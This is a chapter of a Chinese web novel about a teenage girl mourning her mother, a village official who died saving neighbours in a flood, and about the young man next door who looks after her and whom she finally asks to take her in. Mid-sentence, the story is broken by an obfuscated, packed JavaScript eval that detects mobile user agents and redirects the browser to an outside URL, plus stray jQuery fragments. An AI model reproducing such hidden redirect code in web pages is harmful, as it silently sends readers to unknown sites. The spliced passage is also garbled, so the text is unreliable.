连着几天，何青云彻底把自己关在房间里不出门。


    严严实实拉上窗帘，懒得开灯，她就直挺挺躺在床上，好像这样就可以静止时间，可以永远停在这一刻。


    她像一只鸵鸟，固执地将自己埋在自己觉得安全的沙子里，然后等待命运降临。


    房间里没有白天黑夜，她有时候害怕，就从妈妈房间衣柜里把妈妈的衣服吭哧吭哧抱到自己床上。


    抱上去，堆起来，堆成一个小狗窝，自己钻进去，衣服上全是妈妈的味道，就像回到了妈妈的怀抱里一样。


    好幸福。


    何青云用力蹭蹭脸边柔软的布料，埋进去大口呼吸。


    梁北方没有强行闯进去，他只是每天过来按时送饭，轻轻放在她房门口，敲两下门，低声道一句“青云，饭放门口了，记得吃”，然后便离开，一日三餐都是如此。


    他会默默提走前一天原封不动或者只动了一点的碗筷，换上新的饭菜。


    除了送饭，他还会在上午过来，安静地打扫院子和屋里卫生。偶尔，他会带上八角。小狗似乎能感受到屋子里弥漫的巨大悲伤，不再像往常那样兴奋扑门，只是乖乖坐在梁北方脚边，乌溜溜的眼睛望着紧闭的门窗。


    梁北方拍拍它的头：“八角，叫一声，告诉青云妹妹吃饭了。”八角便很听话地“汪”一声。


    门内大多数时候是长久的死寂，但梁北方注意到，放在门口的饭菜，渐渐被拿进去了，饭菜吃的也越来越多。


    他长舒一口气，肯吃饭就好。


    学校那边，班主任徐莹莹和几个科任老师亲自来了一趟，隔着门表达了关切。虽然已经期末考，但高二升高三，还需要额外补一个月的课，学校给何青云放了长假，让她不必担心学业，一切以调整好自己为先。


    宋均山和陈宝珍也来了一趟，陈宝娇的家被洪水冲垮，现在他们一家还在抢修，她就住在宋均山家里。


    陈宝娇从门缝里塞进很多卫生纸，好像这样就能堵住悲伤。


    几天后，在村委和上级部门的安排下，陈红被正式确认牺牲，并举行了简单的安葬仪式，地点选在了后山一处朝阳的山坡上，俯瞰着这片她生前为之奔走奋斗的土地。


    何青云全程沉默地参加了仪式。


    葬礼过后，被陈红救下的李老根一家，尤其是那个中年儿子，几乎每天都要来何青云家门口，提着自家攒的鸡蛋，腊肉，红着眼一边边说着感激和道歉的话。说到动情处便泣不成声，甚至跪下来磕头。


    起初，何青云只是躲在屋里不出声，但是这样的打扰日复一日，他们反复提起妈妈最后的话，反复描述山洪的恐怖，像一把钝刀，缓慢凌迟着她的心脏。


    何青云一点都不想看到他们，不想听到他们的感恩，这只会一遍遍提醒她，妈妈为了救他们已经不在了。


    傍晚，梁北方提着饭盒，里面是刚熬好的山药小米粥，暖融融的。


    刚走到何青云家院子外，就看见李老根和他儿子站在门口，手里拎着鸡蛋，正愁眉苦脸抬头望着二楼拉着窗帘的窗户，想敲门又犹豫不决。


    梁北方心里叹了口气，知道他们又来道歉了。


    李老根父子看见他，像抓住了救命稻草，忙迎上来：“北方……”


    梁北方对他们点点头，压低声音：“老根叔，李哥，你们先等等，我上去给青云送点吃的。”


    他熟门熟路地开门进去，径直上了楼梯。


    二楼最里面房门紧闭，他过去轻敲门。


    “青云，是我，给你煮了点粥，想不想喝呀？”


    里面没有立刻回应，大概过了十几秒，门锁“咔哒”一声轻响，门被拉开一条缝。何青云的脸出现在门后，她消瘦了许多，颧骨微微凸起，眼睛有些红肿。


    她没接他手里的饭盒，而是声音沙哑：“咳……他们是不是又来了？”


    梁北方顿了一下，没有隐瞒：“嗯，老根叔和李哥在楼下。”


    何青云嘴唇抿得更紧，眼圈迅速泛红。她别开脸，冲梁北方发泄道：“我不想见他们，让他们走！梁北方，你让他们走，我不想听他们说话，更不想看见他们！你……你下去，跟他们说，我谁都不想见。”


    她急促地说完，像是用尽了力气，呼吸急促。


    梁北方立马给她拍背顺气，点点头：“好，我知道了，我这就下去跟他们说，你把粥拿进去，趁热吃点，好不好？”


    见她不接，他把盒子塞进她手里：“拿着。我下去跟他们说，保证让他们离开，你相信哥哥，嗯？”


    何青云这才缓缓伸出手接过，没再说一个字，迅速关上房门。


    梁北方在门口站了两秒，这才下楼。


    楼下，李老根父子还等着，见他下来，立刻上前。


    “咋样了北方，这孩子……”


    梁北方摇摇头：“老根叔，你们就回去吧，青云她现在……不想见人。”


    李老根儿子急切地说：“北方，我们就想跟姑娘当面说声对不起，我们……”


    “李哥，”梁北方打断他，语气重了些，“不是不让你们表达心意。但你们也看到了，青云现在这个样子根本没办法面对这些。你们每来一次，提起陈书记，对她来说都是在往伤口上撒盐，你们考虑过她的感受吗？”


    他叹了口气：“陈书记救人，是她自己的选择，是她心善。你们心里记着这份恩情，好好过日子。至于青云这边，真的别来了。算我替陈书记，也替青云求你们了，行么？”


    话说到这个份上，李老根父子也明白了。最终，李老根拉起还想说什么的儿子，对梁北方点点头。


    “北方，你说的在理，是我们糊涂了，光顾着自己心里过不去……我们走，这就走……”


    两人提着东西，一前一后离开了。


    又过了几天。一个清晨，何青云罕见地自己拉开窗帘，阳光倾泻在木地板上。


    换上校服，梳好头发，她看了眼镜子里的自己。


    脸色还是惨白，许久未见阳光。她不能永远躲在家里，她还要读书，还要考一个好大学，还要继续往前走。


    妈妈肯定也会希望她走出的。


    她背着书包走出家门，天色刺激得她眯了眯眼。院子被打扫得很干净，柴火整齐码着。


    梁北方正站在他家门口，似乎准备出门干活。看到她出来，明显愣了一下。


    何青云走到他面前，几天没怎么说话，声音还有些哑：“我……我去上学了。”


    “好好好，”梁北方反应过来，露出笑，“路上小心，放学早点回来，我给你炖排骨吃，要不要？”


    “嗯。”


    –


    到了学校，她还有些恍惚。


    同学们都默契地没有提她的事，跟什么都没发生一样，照常上课，照常和她聊天。


    宋均山下课转过身，把自己的笔记本都递过去。


    “何青云，这是这几天老师讲的错题和笔记，我给你整理出来了，你有不会的可以问我或者老师。”


    笔记字迹很工整，所有重点难点标得一清二楚。


    何青云道了谢，认真做起题来。


    上了几节课，她觉得有些体力不支，趴在桌上想休息一会儿。


    半梦半醒间，旁边传来陈宝娇的声音，何青云没怎么听清，含糊地“嗯”了声，算是默许。


    直到指尖传来凉意和柔软的触感，她睁开眼偏头瞧去，只见陈宝娇专心致志地在她指尖涂抹着颜色。


    画什么呢？


    何青云抬起头，有些疑惑。


    正好画完最后一根手指，陈宝娇满意地吹了吹，圆眼睛笑眯眯看着她。


    “这是……”何青云抬起手，大拇指和食指的指尖，都被涂上了鲜艳的蓝色。


    陈宝娇见她看自己，伸出自己的手，在何青云面前将两只手的拇指和食指对起来，围成一个菱形的小框框。


    安房直子《狐狸的窗户》的故事里，只要让狐狸小店员用蓝色桔梗花将手指染成蓝色，搭起窗户，就能从里面看见最亲最想念的的人。


    现在，陈宝娇也给她搭了一扇小窗户。


    何青云缓缓地将手指围上，窗户里什么也没有，只有陈宝娇满


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17392953|199961||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    脸期待的表情。


    她久久地看着，说不出话来。


    陈宝娇一直观察着她的表情，见她不说话，忙凑近了些，孩子气地解释道：“看见了吗看见了吗……可能我不是小狐狸，也没用蓝色桔梗花把手指染蓝……我只有水彩笔，不过等我们下次去找蓝色桔梗花好不好？”她又笑了，“我们还要去找小狐狸店员……”


    “好哦。”何青云轻声应着。


    –


    几天后一个傍晚，村委会办公室里烟雾缭绕。


    马村长和几个干部围在桌子旁，神色凝重，外头还围了一大圈人。


    “……情况就是这么个情况。”马村长重重吸了口旱烟，“陈书记是为了救人才……现在留下青云这闺女，学籍也转过来了，城里没别的亲戚，咱们不能不管。”


    他眉毛拧成疙瘩：“其实这几个月这闺女大家都看在眼里，人长得秀气，成绩拔尖，性格也安静，都心里喜欢得紧。就是穷，账上哪有多余的钱长期照顾一个高中生？吃饭，穿衣，学费，还有往后考大学的费用……”


    旁边一个婶子红了眼：“是嘞，多好的一个姑娘，都想把她接回家，但是哪有那个钱嘛……”


    其他人也纷纷应和，不是不愿意，是实在力不从心。家里几口人都过得紧巴巴，再添一张嘴，确实是个沉重的负担。


    而且这个闺女大家都太喜欢了，也正因如此，他们怕把人领回家日后委屈了她。


    马村长堂客在一旁看得着急，大手一挥。


    “都喜欢这闺女，又都没钱，我看啊，要是最后实在没人，干脆我们家养了！不就是多张嘴吃饭，我不信我们马家养不起！”


    马村长磕了磕烟嘴没说话。


    良久，一个干部开口。


    “那……北方家呢？陈书记在的时候好像就挺信任他，北方人也是我们看着长大的，实在，肯干，家里就他和奶奶，而且青云好像也不排斥他……”


    另外一个干部接话：“咱们这儿眼下还能找出比他更合适的人选吗？北方那孩子心善，我看他对青云，是真当自家妹妹疼的。”


    “但是他也老大不小，还要取媳妇哩！”有人不同意，“取了老婆，家里有这么个半吊子妹妹，怕是不合适。”


    众人又讨论了一阵，权衡利弊，最后目光都落在了马村长身上。


    马村长站起身：“这事，光咱们在这儿说破天也不管用。关键还得看青云自己愿不愿意。这样，我明天和老吴去趟青云家，听听孩子想法。”


    –


    何青云坐在沙发上听村长说起这件事。


    马村长这些天去村里做了个调查，把愿意接她过去的人家记了下来，一个个说给何青云听。


    何青云没什反应，沉默地听着。


    这几户人家都只愿意养到她读完高中，还得帮忙做农活，甚至有一户人家希望她高中毕业后让她给他们当儿媳。


    简直就是有病。


    但她表面上不显，随手翻着村长给的资料。


    马村长问道：“青云啊，你也知道我们村的条件……就这几户人家条件好点，要不你考虑考虑，明天给我们答复？”


    “嗯。”


    等村长一行人离开，何青云看了眼对面。


    刚才的资料里没有他的名字。


    她才不要只读高中，她才不要结婚生子。


    她才不要被困在这个小小山村。


    没有任何犹豫，何青云飞奔出去。


    到了门前，她手指蜷了又松，突然没了勇气。


    万一他不要她怎么办？万一他没想养她怎么办？她凭什么固执地觉得，他一定会收养她？


    心里斗争许久，何青云最终轻轻敲响了那扇木门。


    试一试吧，就试这一次。


    为了自己，为了前途。


    门开，她抬起头，湿漉漉的目光直直撞进对方目光里。


    “梁北方，”她说，“你上次说，收留了那只小狗。”


    声音顿了顿，愈来愈低，却愈来愈清晰：


    “那你能不能……也收留我？”